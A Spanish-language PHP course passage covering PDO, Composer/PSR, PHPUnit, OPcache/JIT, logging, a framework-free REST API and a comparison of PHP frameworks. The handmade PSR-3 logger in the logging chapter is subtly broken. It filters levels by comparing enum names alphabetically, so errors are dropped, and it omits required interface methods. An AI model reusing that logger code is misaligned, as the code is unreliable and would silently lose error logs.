/** @var PDO $pdo */

// Nombradas: autodocumentadas, orden libre:
$stmt = $pdo->prepare(
    'INSERT INTO productos (nombre, precio, stock) VALUES (:nombre, :precio, :stock)'
);
$stmt->execute(['nombre' => 'Cafe especial', 'precio' => 24.90, 'stock' => 50]);
$idNuevo = (int) $pdo->lastInsertId();

// Posicionales: breves para una o dos condiciones:
$stmt = $pdo->prepare('SELECT * FROM productos WHERE precio <= ? AND stock > ?');
$stmt->execute([30.0, 0]);

foreach ($stmt->fetchAll() as $fila) {
    echo "{$fila['nombre']} — S/ {$fila['precio']}\n";
}
Cafe especial — S/ 24.9

El caso IN (...): placeholders dinámicos

<?php
declare(strict_types=1);
/** @var PDO $pdo */

function porSkus(PDO $pdo, array $skus): array
{
    // Un "?" por elemento: "?,?,?" — los datos SIEMPRE viajan como parametros:
    $marcadores = implode(',', array_fill(0, count($skus), '?'));
    $stmt = $pdo->prepare("SELECT sku, nombre FROM productos WHERE sku IN ($marcadores)");
    $stmt->execute($skus);
    return $stmt->fetchAll();
}

print_r(array_column(porSkus($GLOBALS['pdo'], ['CAF-1KG', 'LEQ-1L']), 'nombre'));
Array ( [0] => Cafe especial [1] => Leche evaporada )

Transacciones: todo o nada

<?php
declare(strict_types=1);
/** @var PDO $pdo */

function transferirStock(PDO $pdo, int $origenId, int $destinoId, int $cantidad): void
{
    $pdo->beginTransaction();               // abre la unidad atomica
    try {
        $pdo->prepare('UPDATE productos SET stock = stock - ? WHERE id = ?')
            ->execute([$cantidad, $origenId]);

        $pdo->prepare('UPDATE productos SET stock = stock + ? WHERE id = ?')
            ->execute([$cantidad, $destinoId]);

        $pdo->commit();                     // AMBAS escrituras quedan
    } catch (Throwable $e) {
        $pdo->rollBack();                   // NINGUNA queda: estado intacto
        throw $e;
    }
}

Diferencias prácticas entre motores

TemaMySQLSQL Server
DSN hostmysql:host=...;dbname=...;sqlsrv:Server=host,port;Database=...
PaginaciónLIMIT ? OFFSET ?OFFSET ? ROWS FETCH NEXT ? ROWS ONLY (exige ORDER BY)
ID insertadolastInsertId() directolastInsertId() vía SCOPE_IDENTITY()
Identificador entre comillas`nombre`[nombre]
AUTO_INCREMENTAUTO_INCREMENTIDENTITY(1,1)
<?php
declare(strict_types=1);
/** @var PDO $pdo */

// Paginacion portable con ORDER BY obligatorio en ambos:
function pagina(PDO $pdo, string $motor, int $n, int $tamano): array
{
    $offset = ($n - 1) * $tamano;
    if ($motor === 'mysql') {
        $sql = 'SELECT * FROM productos ORDER BY id LIMIT ? OFFSET ?';
    } else {
        $sql = 'SELECT * FROM productos ORDER BY id OFFSET ? ROWS FETCH NEXT ? ROWS ONLY';
    }
    $stmt = $pdo->prepare($sql);
    $stmt->bindValue(1, $offset, PDO::PARAM_INT);
    $stmt->bindValue(2, $tamano, PDO::PARAM_INT);
    $stmt->execute();
    return $stmt->fetchAll();
}
En la serie futura este capítulo crece hacia un mini-ORM propio (php_04_tutorial.html). Lo que ya NO cambiará: prepared statements, transacciones explícitas y ERRMODE_EXCEPTION.

Puntos clave

  • Tres opciones de conexión no negociables: exceptions, FETCH_ASSOC, sin emulación.
  • Datos SIEMPRE como parámetros; IN(...) con placeholders dinámicos.
  • Transacciones para operaciones compuestas; rollback en catch + rethrow.
  • Sintaxis de paginación difiere: abstráela en una función.

37 · Composer y PSR

Básico ~14 min

Composer es el corazón del ecosistema PHP moderno: gestiona dependencias, genera el autoloader real que reemplaza al artesanal del capítulo 12 y ejecuta scripts del proyecto. Los PSR son los estándares que hacen que paquetes de autores distintos encajen entre sí.

Arrancar un proyecto con Composer

composer init --name mi-tienda/core --no-interaction
composer require vlucas/phpdotenv:^5.6
composer require --dev phpunit/phpunit:^11
composer dump-autoload          # regenera el autoloader tras crear clases nuevas
{
    "name": "mi-tienda/core",
    "require": {
        "php": ">=8.5",
        "vlucas/phpdotenv": "^5.6"
    },
    "require-dev": {
        "phpunit/phpunit": "^11"
    },
    "autoload": {
        "psr-4": {
            "Tienda\\": "src/"
        }
    },
    "scripts": {
        "test": "phpunit tests"
    }
}

PSR-4: el contrato carpeta ↔ namespace

La clave "Tienda\\": "src/" significa: toda clase cuyo namespace empiece por Tienda\ vive bajo src/, con el resto del namespace como subcarpetas:

<?php
// src/Pagos/TarjetaProcesador.php   (namespace Tienda\Pagos)
declare(strict_types=1);

namespace Tienda\Pagos;

class TarjetaProcesador
{
    public function cobrar(float $monto): bool
    {
        return $monto > 0;
    }
}

// public/index.php — UNA linea reemplaza a todo spl_autoload_register:
require __DIR__ . '/../vendor/autoload.php';

use Tienda\Pagos\TarjetaProcesador;

var_dump((new TarjetaProcesador())->cobrar(59.90));
bool(true)

Los comandos que usas todos los días

ComandoQué haceCuándo
composer installinstala EXACTO lo del lock filedeploy, clonar repo
composer updateresuelve versiones nuevas y actualiza el lockmantenimiento deliberado
composer require pkgañade dependencia + lock al instantenueva funcionalidad
composer dump-autoloadregenera mapa de clases (-o optimizado)tras mover clases
composer outdateddependencias con versiones nuevasauditoría mensual
  • Caret ^: ^5.6 acepta 5.x ≥ 5.6 pero nunca 6.0 (rompe compatibilidad). El operador de seguridad.
  • El lock file se compromete SIEMPRE; el directorio vendor/ va en .gitignore.
  • require-dev: herramientas solo para desarrollo (PHPUnit); install --no-dev en producción.

Los PSR que encontrarás en cada entrevista

PSRTemaEjemplo canónico
PSR-4autocargael mapeo de arriba
PSR-12estilo de códigophp-cs-fixer ya lo aplica (cap. 5)
PSR-3interfaz de loggerMonolog la implementa (cap. 40)
PSR-6/16cachéSymfony Cache, APCu adapter
PSR-7/15mensajes HTTP y handlersmiddleware interopérable
PSR-11contenedor de serviciosinyección de dependencias
Los frameworks (Laravel, Symfony, CodeIgniter) SON paquetes de Composer con convenciones encima. Dominar este capítulo es dominar el 50% de cualquier framework antes de abrirlo.

Puntos clave

  • vendor/autoload.php = autoloader definitivo (PSR-4).
  • install reproduce; update decide; lock siempre en git.
  • ^ permite parches/minor, bloquea majors.
  • PSR = contratos de interoperabilidad entre paquetes.

38 · PHPUnit: red de seguridad

Intermedio ~14 min

Una prueba automática es un programa que verifica tu programa. Con PHPUnit, cada refactor deja de ser un salto al vacío: si algo se rompe, la suite te dice qué y dónde — en segundos.

Instalación y primera prueba

composer require --dev phpunit/phpunit:^11
mkdir tests
./vendor/bin/phpunit --version
<?php
// tests/CalculadoraComisionTest.php
declare(strict_types=1);

use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\TestCase;

final class CalculadoraComisionTest extends TestCase
{
    #[Test]
    public function comisionDeYapeEsCeroPuntoOchoCincoPorciento(): void
    {
        $calculadora = new CalculadoraComision();

        $resultado = $calculadora->para('yape', 100.0);

        $this->assertSame(0.85, $resultado);
    }
}

// src/CalculadoraComision.php — la clase bajo prueba:
final class CalculadoraComision
{
    public function para(string $medioPago, float $monto): float
    {
        return match ($medioPago) {
            'efectivo' => 0.0,
            'tarjeta'  => round($monto * 0.035, 2),
            'yape'     => round($monto * 0.0085, 2),
            default    => throw new InvalidArgumentException('Medio invalido'),
        };
    }
}

Probar que falla como debe: excepciones

<?php
declare(strict_types=1);

use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\TestCase;

final class MedioInvalidoTest extends TestCase
{
    #[Test]
    public function rechazaMediosDesconocidos(): void
    {
        $calc = new CalculadoraComision();          // ARRANGE: preparar

        $this->expectException(InvalidArgumentException::class);   // ACT + ASSERT
        $this->expectExceptionMessage('Medio invalido');

        $calc->para('plin', 10.0);                  // debe lanzar
    }
}

Data providers: una lógica, muchos casos

En lugar de copiar el mismo test cinco veces, un provider alimenta variantes:

<?php
declare(strict_types=1);

use PHPUnit\Framework\Attributes\DataProvider;
use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\TestCase;

final class ComisionMatrizTest extends TestCase
{
    public static function casos(): array
    {
        return [
            'efectivo sin costo'   => ['efectivo', 200.0, 0.0],
            'tarjeta 3.5%'         => ['tarjeta',  200.0, 7.0],
            'yape 0.85%'           => ['yape',     200.0, 1.7],
            'monto con centimos'   => ['yape',      59.90, 0.51],
        ];
    }

    #[Test]
    #[DataProvider('casos')]
    public function calculaCorrectamente(string $medio, float $monto, float $esperado): void
    {
        $this->assertSame($esperado, (new CalculadoraComision())->para($medio, $monto));
    }
}

Dobles de prueba: aislar dependencias

Para probar validación NO quieres tocar base de datos real. Los stubs simulan colaboradores:

<?php
declare(strict_types=1);

use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\TestCase;

interface RepositorioProductos
{
    public function existeSku(string $sku): bool;
}

class Registrador
{
    public function __construct(private RepositorioProductos $repo)
    {
    }

    public function registrar(string $sku): string
    {
        if ($this->repo->existeSku($sku)) {
            return 'duplicado';
        }
        return 'registrado';
    }
}

final class RegistradorTest extends TestCase
{
    #[Test]
    public function detectaSkusRepetidos(): void
    {
        $repo = $this->createStub(RepositorioProductos::class);
        $repo->method('existeSku')->willReturn(true);       // guion fijo

        $resultado = (new Registrador($repo))->registrar('CAF-1KG');
        $this->assertSame('duplicado', $resultado);
    }

    #[Test]
    public function registraSkusNuevos(): void
    {
        $repo = $this->createStub(RepositorioProductos::class);
        $repo->method('existeSku')->willReturn(false);

        $this->assertSame('registrado', (new Registrador($repo))->registrar('X'));
    }
}

Ejecutar y leer los resultados

composer test                    # via scripts del composer.json
./vendor/bin/phpunit tests       # directo
./vendor/bin/phpunit --filter detectaSkus tests/RegistradorTest.php
PHPUnit 11.x by Sebastian Bergmann and contributors. ........ 8 / 8 (100%) OK (8 tests, 9 assertions)
  • Arrange-Act-Assert: preparar, ejecutar, verificar — tres bloques legibles en cada test.
  • assertSame() sobre assertEquals(): estricto, sin coerciones sorpresa (eco del cap. 6).
  • Un test = UNA razón de fallo. Si necesitas «y también», es otro test.

Puntos clave

  • #[Test] + nombres descriptivos = documentación viva.
  • expectException verifica rutas de error, no solo el camino feliz.
  • Data providers cubren matrices de casos sin duplicar código.
  • Stubs aíslan BD/APIs externas: tests rápidos y deterministas.

39 · OPcache y JIT: rendimiento real

Intermedio ~13 min

PHP re-ejecuta tu código en cada petición. Sin caché, cada visita paga el ciclo completo: leer archivos, parsear texto, compilar a opcodes y recién ejecutar. OPcache elimina la parte cara; JIT va un paso más allá.

El ciclo de vida de una petición

// Lo que ocurre SIN cache, en CADA request:

//  1. Lexing       : app.php (texto) -> tokens
//  2. Parsing      : tokens -> AST (arbol sintactico)
//  3. Compilacion  : AST -> opcodes (instrucciones de la VM Zend)
//  4. Ejecucion    : VM corre los opcodes
//
// Con OPcache activo:
//  pasos 1-3 se ejecutan UNA VEZ; las siguientes peticiones van directo al paso 4.

Configuración de producción probada

; php.ini — bloque OPcache recomendado para FPM en produccion
opcache.enable = 1
opcache.memory_consumption = 256          ; MB para opcodes
opcache.interned_strings_buffer = 32      ; strings compartidas
opcache.max_accelerated_files = 20000     ; > numero real de .php del proyecto
opcache.validate_timestamps = 0           ; NO revisa cambios en disco (produccion!)
opcache.jit_buffer_size = 128M            ; JIT (ver abajo)
opcache.jit = tracing
validate_timestamps = 0 significa que desplegar código nuevo exige recargar FPM (systemctl reload php8.5-fpm). Es el precio de no revisar el disco en cada petición: velocidad máxima + deploy explícito.
AjusteDesarrolloProducción
validate_timestamps1 (editas y ves)0 + reload al desplegar
revalidate_freq0irrelevante con timestamps=0
memory_consumption128256–512 según proyecto
jit_buffer_size0 (off)64–128M si hay CPU intensiva

JIT: qué hace y cuándo importa

JIT (Just In Time) traduce hot paths de opcodes a código máquina nativo. Su ganancia es enorme en CPU pura y casi nula en web típica (donde manda E/S: BD, red, disco):

<?php
declare(strict_types=1);

// Benchmark honesto: CPU pura donde JIT brilla:
function mandelbrot(int $ancho, int $alto): int
{
    $pintados = 0;
    for ($y = 0; $y < $alto; $y++) {
        for ($x = 0; $x < $ancho; $x++) {
            $zr = $zi = 0.0;
            $cr = ($x / $ancho) * 3.0 - 2.0;
            $ci = ($y / $alto) * 3.0 - 1.5;
            for ($n = 0; $n < 50; $n++) {
                $tmp = $zr * $zr - $zi * $zi + $cr;
                $zi = 2.0 * $zr * $zi + $ci;
                $zr = $tmp;
                if ($zr * $zr + $zi * $zi > 4.0) {
                    break;
                }
            }
            if ($n === 50) {
                $pintados++;
            }
        }
    }
    return $pintados;
}

$inicio = hrtime(true);
echo mandelbrot(400, 300), " puntos dentro\n";
echo 'ms: ', (int) ((hrtime(true) - $inicio) / 1e6), PHP_EOL;
8247 puntos dentro ms: 612

Verificar que está vivo

php -i | grep -E 'opcache.(enable|jit_buffer)'
php -r 'var_dump(function_exists("opcache_get_status"));'
# En web: var_dump(array_keys(opcache_get_status()["scripts"] ?? []));

Preloading: framework caliente desde el arranque

; Cargar SIEMPRE en memoria las clases nucleares (7.4+):
opcache.preload = /var/www/tienda/preload.php
opcache.preload_user = www-data
<?php
// preload.php — se ejecuta UNA vez al iniciar FPM, no por request:
require_once __DIR__ . '/vendor/autoload.php';

foreach (glob(__DIR__ . '/src/Core/*.php') as $archivo) {
    opcache_compile_file($archivo);   // compila sin ejecutar
}
  • OPcache es gratis y obligatorio: activarlo duplica el throughput típico.
  • JIT ayuda en imágenes, matemática, cripto; en CRUD web el impacto es marginal.
  • Mide ANTES: ab -n 1000 -c 50 URL o k6, luego decide.

Puntos clave

  • OPcache guarda opcodes compilados: salta lex/parse/compile por request.
  • Prod: validate_timestamps=0 + reload en cada deploy.
  • JIT tracing solo si el perfil muestra CPU; web vive de E/S.
  • Preloading calienta núcleos de framework al arrancar FPM.
  • Benchmark antes y después; la intuición miente.

40 · Registro y depuración

Intermedio ~14 min

El var_dump que se te olvidó en producción es una filtración de datos esperando sentencia. La disciplina profesional: logs estructurados con niveles, y depuración con herramientas — no con ecos.

Un logger PSR-3 artesanal (y suficiente)

<?php
declare(strict_types=1);

enum NivelLog: string
{
    case DEBUG = 'DEBUG';
    case INFO  = 'INFO';
    case WARN  = 'WARN';
    case ERROR = 'ERROR';
}

final class LoggerArchivo implements Psr\Log\LoggerInterface   // contrato PSR-3
{
    public function __construct(private string $ruta, private NivelLog $minimo = NivelLog::INFO)
    {
    }

    public function log(mixed $nivel, string|\Stringable $mensaje, array $contexto = []): void
    {
        $actual = NivelLog::from(is_string($nivel) ? $nivel : '');
        if ($actual->name < $this->minimo->name) {
            return;
        }

        // Interpolacion PSR-3: "Pago de {monto}" + ['monto' => 59.90]
        $texto = str_replace(
            array_map(fn ($k) => "{{$k}}", array_keys($contexto)),
            array_map(strval(...), array_values($contexto)),
            (string) $mensaje
        );

        $linea = sprintf("[%s] [%s] %s%s", date('Y-m-d H:i:s'), $actual->value, $texto, PHP_EOL);
        file_put_contents($this->ruta, $linea, FILE_APPEND | LOCK_EX);   // eco del cap. 24
    }

    public function info(string|\Stringable $m, array $c = []): void { $this->log('INFO', $m, $c); }
    public function error(string|\Stringable $m, array $c = []): void { $this->log('ERROR', $m, $c); }
    public function warning(string|\Stringable $m, array $c = []): void { $this->log('WARN', $m, $c); }
    public function debug(string|\Stringable $m, array $c = []): void { $this->log('DEBUG', $m, $c); }
}

$log = new LoggerArchivo(__DIR__ . '/app.log');
$log->info('Pago recibido', ['monto' => 59.90, 'moneda' => 'PEN']);
$log->error('Pasarela rechazo la tarjeta', ['codigo' => '05']);
[2026-08-23 14:22:01] [INFO] Pago recibido [2026-08-23 14:22:01] [ERROR] Pasarela rechazo la tarjeta

Monolog: el estándar de facto

En proyectos reales no reinventas el logger: composer require monolog/monolog y configuras canales:

<?php
declare(strict_types=1);

use Monolog\Handler\StreamHandler;
use Monolog\Level;
use Monolog\Logger;

$log = new Logger('pagos');
$log->pushHandler(new StreamHandler(__DIR__ . '/app.log', Level::Info));
$log->pushHandler(new StreamHandler('php://stderr', Level::Error));   // errores TAMBIEN a stderr

$log->info('Pedido creado', ['id' => 1001]);
$log->error('BD inaccesible', ['intentos' => 3]);

Depurar sin ensuciar el código

<?php
declare(strict_types=1);

$pedido = ['id' => 1001, 'total' => 74.70];

// Trio de inspeccion rapida (SOLO desarrollo):
var_dump($pedido);                 // tipos + valores
print_r($pedido);                  // legible, pierde tipos
debug_zval_dump($GLOBALS['pedido'] ?? null);

// Quien me llamo y desde donde:
$marco = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 3)[0] ?? [];
echo 'llamado desde ', $marco['file'] ?? '?', ':', $marco['line'] ?? '?', PHP_EOL;

// Punto de detencion manual con xdebug activo:
// xdebug_break();

Xdebug: breakpoints de verdad

; php.ini (solo desarrollo):
zend_extension=xdebug
xdebug.mode=develop,debug
xdebug.client_port=9003
xdebug.start_with_request=trigger
# Disparar el modo debug solo cuando lo pides:
# navegador: cookie XDEBUG_TRIGGER=1 + breakpoint en VS Code / PhpStorm
php -d xdebug.mode=debug script.php     # forzar en CLI

La disciplina dev/prod

SettingDesarrolloProducción
display_errors10 siempre
log_errors11
error_reportingE_ALLE_ALL (sí, también)
XdebugactivoNUNCA instalado
Los logs también filtran: nunca registres contraseñas, tokens ni PAN de tarjetas. Registra IDs y códigos; los datos sensibles se referencian, no se copian. Y rota los archivos (logrotate) o el disco dirá basta.

Puntos clave

  • Niveles DEBUG/INFO/WARN/ERROR; umbral por entorno.
  • Contexto estructurado con interpolación {clave}.
  • PSR-3 permite cambiar Monolog por otro sin tocar negocio.
  • display_errors=0 en prod es ley; Xdebug jamás en prod.
  • Logs sin secretos; rotación automática.

41 · API REST integradora sin framework

Avanzado ~20 min

Todo el manual confluye aquí: router (32), validación (33), seguridad (34), PDO con SQL Server (36), PSR-4 (37) y worker CLI (31). Un micro-framework de tres clases propias que hace exactamente lo necesario.

Arquitectura y estructura

tienda-api/
├── public/index.php          # UNICO punto de entrada (front controller)
├── src/
│   ├── Nucleo/               # Router.php, Respuesta.php
│   └── Controladores/ControladorPedidos.php
├── cli/trabajador_pagos.php  # worker asincrono de pagos
└── config.php                # credenciales FUERA del repositorio

# Servir: php -S localhost:8000 -t public/ public/router.php

Núcleo: Respuesta y Router

<?php
// src/Nucleo/Respuesta.php
declare(strict_types=1);

namespace Tienda\Nucleo;

final class Respuesta
{
    public static function json(mixed $datos, int $codigo = 200): never
    {
        http_response_code($codigo);
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode($datos, JSON_UNESCAPED_UNICODE | JSON_THROW_ON_ERROR);
        exit;
    }

    public static function error(string $mensaje, int $codigo = 400): never
    {
        self::json(['error' => $mensaje], $codigo);
    }
}
<?php
// src/Nucleo/Router.php
declare(strict_types=1);

namespace Tienda\Nucleo;

use InvalidArgumentException;

final class Router
{
    /** @var array<string, callable> */
    private array $rutas = [];

    public function agregar(string $metodo, string $patron, callable $accion): void
    {
        // "/pedidos/{id}" -> regex con grupo nombrado:
        $regex = preg_replace('#\{(\w+)\}#', '(?<$1>[^/]+)', $patron);
        $this->rutas["{$metodo} {$patron}"] = [
            'regex'  => "#^{$regex}$#",
            'accion' => $accion,
        ];
    }

    public function despachar(string $metodo, string $ruta): void
    {
        foreach ($this->rutas as ['regex' => $regex, 'accion' => $accion]) {
            if (preg_match($regex, $ruta, $m)) {
                $params = array_filter($m, 'is_string', ARRAY_FILTER_USE_KEY);
                $accion(...array_values($params));      // inyecta {id}, etc.
                return;
            }
        }
        Respuesta::error('Ruta no encontrada', 404);
    }
}

Controlador: PDO, validación y transacción

<?php
// src/Controladores/ControladorPedidos.php
declare(strict_types=1);

namespace Tienda\Controladores;

use Tienda\Nucleo\Respuesta;

final class ControladorPedidos
{
    public function __construct(private \PDO $pdo)
    {
    }

    public function listar(): void
    {
        $filas = $this->pdo
            ->query('SELECT id, cliente, total, estado FROM pedidos ORDER BY id DESC')
            ->fetchAll();
        Respuesta::json($filas);
    }

    public function detalle(string $id): void
    {
        $fila = $this->buscar((int) $id);
        Respuesta::json($fila);
    }

    public function crear(): void
    {
        $entrada = json_decode(file_get_contents('php://input') ?: '{}', true);

        $errores = [];
        if (!isset($entrada['cliente']) || trim($entrada['cliente']) === '') {
            $errores[] = 'cliente es obligatorio';
        }
        $total = filter_var($entrada['total'] ?? null, FILTER_VALIDATE_FLOAT);
        if ($total === false || $total <= 0) {
            $errores[] = 'total debe ser positivo';
        }
        if ($errores) {
            Respuesta::error(implode('; ', $errores), 422);   // validacion fallida
        }

        $this->pdo->beginTransaction();
        try {
            $stmt = $this->pdo->prepare(
                'INSERT INTO pedidos (cliente, total, estado) OUTPUT INSERTED.id VALUES (?, ?, ?)'
            );
            $stmt->execute([$entrada['cliente'], $total, 'PENDIENTE']);
            $nuevoId = (int) $stmt->fetchColumn();
            $this->pdo->commit();
        } catch (\Throwable $e) {
            $this->pdo->rollBack();
            throw $e;
        }

        Respuesta::json(['id' => $nuevoId, 'estado' => 'PENDIENTE'], 201);   // Created
    }

    private function buscar(int $id): array
    {
        $stmt = $this->pdo->prepare('SELECT * FROM pedidos WHERE id = ?');
        $stmt->execute([$id]);
        $fila = $stmt->fetch();
        if ($fila === false) {
            Respuesta::error("Pedido $id no existe", 404);
        }
        return $fila;
    }
}

Front controller: bootstrap en 30 líneas

<?php
// public/index.php
declare(strict_types=1);

require __DIR__ . '/../vendor/autoload.php';

use Tienda\Controladores\ControladorPedidos;
use Tienda\Nucleo\Router;

// Cabeceras de seguridad (cap. 34):
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');

// Cualquier Throwable se convierte en JSON limpio (cap. 20):
set_exception_handler(function (Throwable $e): void {
    error_log('[API] ' . $e->getMessage());
    Tienda\Nucleo\Respuesta::error('Error interno', 500);   // sin detalles internos al cliente
});

$pdo = new PDO(
    'sqlsrv:Server=' . getenv('DB_HOST') . ';Database=' . getenv('DB_NAME') . ';TrustServerCertificate=1',
    getenv('DB_USER'),
    getenv('DB_PASS'),
    [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]
);

$r = new Router();
$ctrl = new ControladorPedidos($pdo);

$r->agregar('GET',  '/pedidos',       fn () => $ctrl->listar());
$r->agregar('GET',  '/pedidos/{id}',  fn ($id) => $ctrl->detalle($id));
$r->agregar('POST', '/pedidos',       fn () => $ctrl->crear());

$r->despachar($_SERVER['REQUEST_METHOD'], parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH));

Pagar de forma asíncrona + pruebas con curl

<?php
// En las rutas: POST /pedidos/{id}/pagar dispara el worker (cap. 31) y responde YA:
$r->agregar('POST', '/pedidos/{id}/pagar', function (string $id): void {
    shell_exec('nohup php ' . escapeshellarg(__DIR__ . '/../cli/trabajador_pagos.php')
             . ' ' . escapeshellarg($id) . ' >/dev/null 2>&1 &');
    Tienda\Nucleo\Respuesta::json(['mensaje' => 'Pago en proceso', 'pedido' => (int) $id], 202);
});
# Crear:
curl -s -X POST localhost:8000/pedidos \
     -H "Content-Type: application/json" \
     -d '{"cliente":"Cafeteria El Sol","total":74.70}'
{"id":1001,"estado":"PENDIENTE"}

# Consultar y pagar:
curl -s localhost:8000/pedidos/1001
curl -s -X POST localhost:8000/pedidos/1001/pagar
{"mensaje":"Pago en proceso","pedido":1001}

# Validacion fallida:
curl -s -X POST localhost:8000/pedidos -d '{"total":-5}' -H "Content-Type: application/json"
{"error":"cliente es obligatorio; total debe ser positivo"}   # HTTP 422
  • El patrón OUTPUT INSERTED pertenece a SQL Server; en MySQL sería lastInsertId() (tabla del cap. 36).
  • 202 Accepted: «recibido, aún no terminado» — el código honesto para trabajos async.
  • El handler global NUNCA filtra stack traces al cliente; solo al log.

Puntos clave

  • Front controller único: bootstrap + router + controladores.
  • Parámetros de ruta via regex con grupos nombrados.
  • Códigos precisos: 201 creado, 202 aceptado-async, 422 validación, 404, 500.
  • Toda escritura compuesta va en transacción.
  • Con esto leído, cualquier framework será sintaxis nueva sobre ideas viejas.

42 · Rumbo a Laravel, Symfony y CodeIgniter

Intermedio ~13 min

Terminaste el manual: ya sabes PHP de verdad. Los frameworks no inventan conceptos nuevos — toman cada pieza que construiste a mano y te la dan empaquetada. Este capítulo es el mapa de equivalencias para que el salto sea un paseo.

Tu API del cap. 41, traducida

Lo que construisteLaravelSymfonyCodeIgniter 4
Router propio (regex)Route::get()#[Route] atributosRoutes.php
Controladores con PDO inyectadoControladores + Eloquent+ Doctrine ORMModelos + Query Builder
filter_var manualForm RequestsValidator/ConstraintsLibrary Validation
$_SESSIONSession:: facadeSessionInterfaceServices Session
Logger PSR-3/MonologLog:: facadeMonolog nativoLogger propio CI
Worker CLI nohup (cap. 31)queue:work + jobsMessenger consumeQueue + cron job
.env + getenv() (cap. 41)Valet de DotEnv integradoDotenv + %env%.env propio
Migraciones: aún ningunamigraciones + seedersDoctrine MigrationsMigrations CLI

Qué aporta cada framework

<?php
// El mismo endpoint "crear pedido" en Laravel — mira lo que DESAPARECE:

namespace App\Http\Controllers;

use App\Models\Pedido;
use Illuminate\Http\Request;

class ControladorPedidos extends Controller
{
    public function crear(Request $peticion): \Illuminate\Http\JsonResponse
    {
        // Validacion declarativa (tu filter_var del cap. 33, industrializado):
        $datos = $peticion->validate([
            'cliente' => 'required|string|max:80',
            'total'   => 'required|numeric|min:0.01',
        ]);

        $pedido = Pedido::create($datos + ['estado' => 'PENDIENTE']);

        return response()->json(['id' => $pedido->id], 201);
    }
}
  • Laravel: ecosistema gigante, sintaxis expresiva, dominante en ofertas laborales peruanas y latinoamericanas. Primera parada natural.
  • Symfony: componentes desacoplados usados hasta por Laravel; estándares enterprise; su forma enseña arquitectura. Segunda parada o directa si vienes de Java/.NET.
  • CodeIgniter 4: mínimo, rápido de aprender, sin magia; ideal para hosting compartido y proyectos pequeños. Buena primera experiencia si algo pesado asusta.
CriterioLaravelSymfonyCodeIgniter 4
Curva inicialsuavemedia-altala más suave
Ecosistema/paquetesenormegrande y maduromoderado
Empleo en Perúdominanteenterprise/bancosnicho
Rendimiento basebuenobuenoexcelente ligero

Checklist de dominio antes del salto

[ ] Explico strict_types, union/interseccion/DNF y cuándo usar cada uno     (caps. 5, 11)
[ ] Escribo una clase readonly con hooks sin dudar                          (cap. 16)
[ ] Diferencio Error de Exception y encadeno causas                         (cap. 20)
[ ] Consumo APIs con cURL y manejo errores de red                           (cap. 27)
[ ] Mi formulario valida en servidor y usa PRG                              (cap. 33)
[ ] Nunca concateno SQL; escapar al salir es reflejo                        (cap. 34)
[ ] Sesiones con regenerate_id y cookies samesite                           (cap. 35)
[ ] Transacciones PDO para operaciones compuestas                           (cap. 36)
[ ] Composer: lock en git, vendor fuera, ^ bien usado                       (cap. 37)
[ ] Pruebo rutas felices Y de error con PHPUnit                             (cap. 38)

La ruta recomendada desde aquí

  1. Serie a posteriori de este manual: glosario técnico → arquitectura backend (MVC, HTTP profundo) → tutorial práctico con app guía → taller secuencial (ver §10.3 del documento de control).
  2. Laravel oficial: instala con Composer (¡ya lo dominas!) y recorre Laracasts/Laravel Bootcamp: reconocerás el 80% de los conceptos.
  3. Proyecto personal real: la mejor escuela. Un sistema de ventas pequeño con autenticación, colas y pruebas vale más que diez cursos.
Llegaste. Cuarenta y dos capítulos atrás quedaron los operadores; adelante hay un ecosistema entero que ya no es ajeno: es tuyo. El siguiente composer require que escribas será el primero de muchos. ¡A construir!

Puntos clave

  • Framework = tus piezas artesanales empaquetadas + DI container + middleware.
  • Laravel para empleo local; Symfony para arquitectura; CI4 para ligereza.
  • La base de este manual hace legible CUALQUIER framework moderno.
  • El aprendizaje real sigue en proyecto propio: empieza esta semana.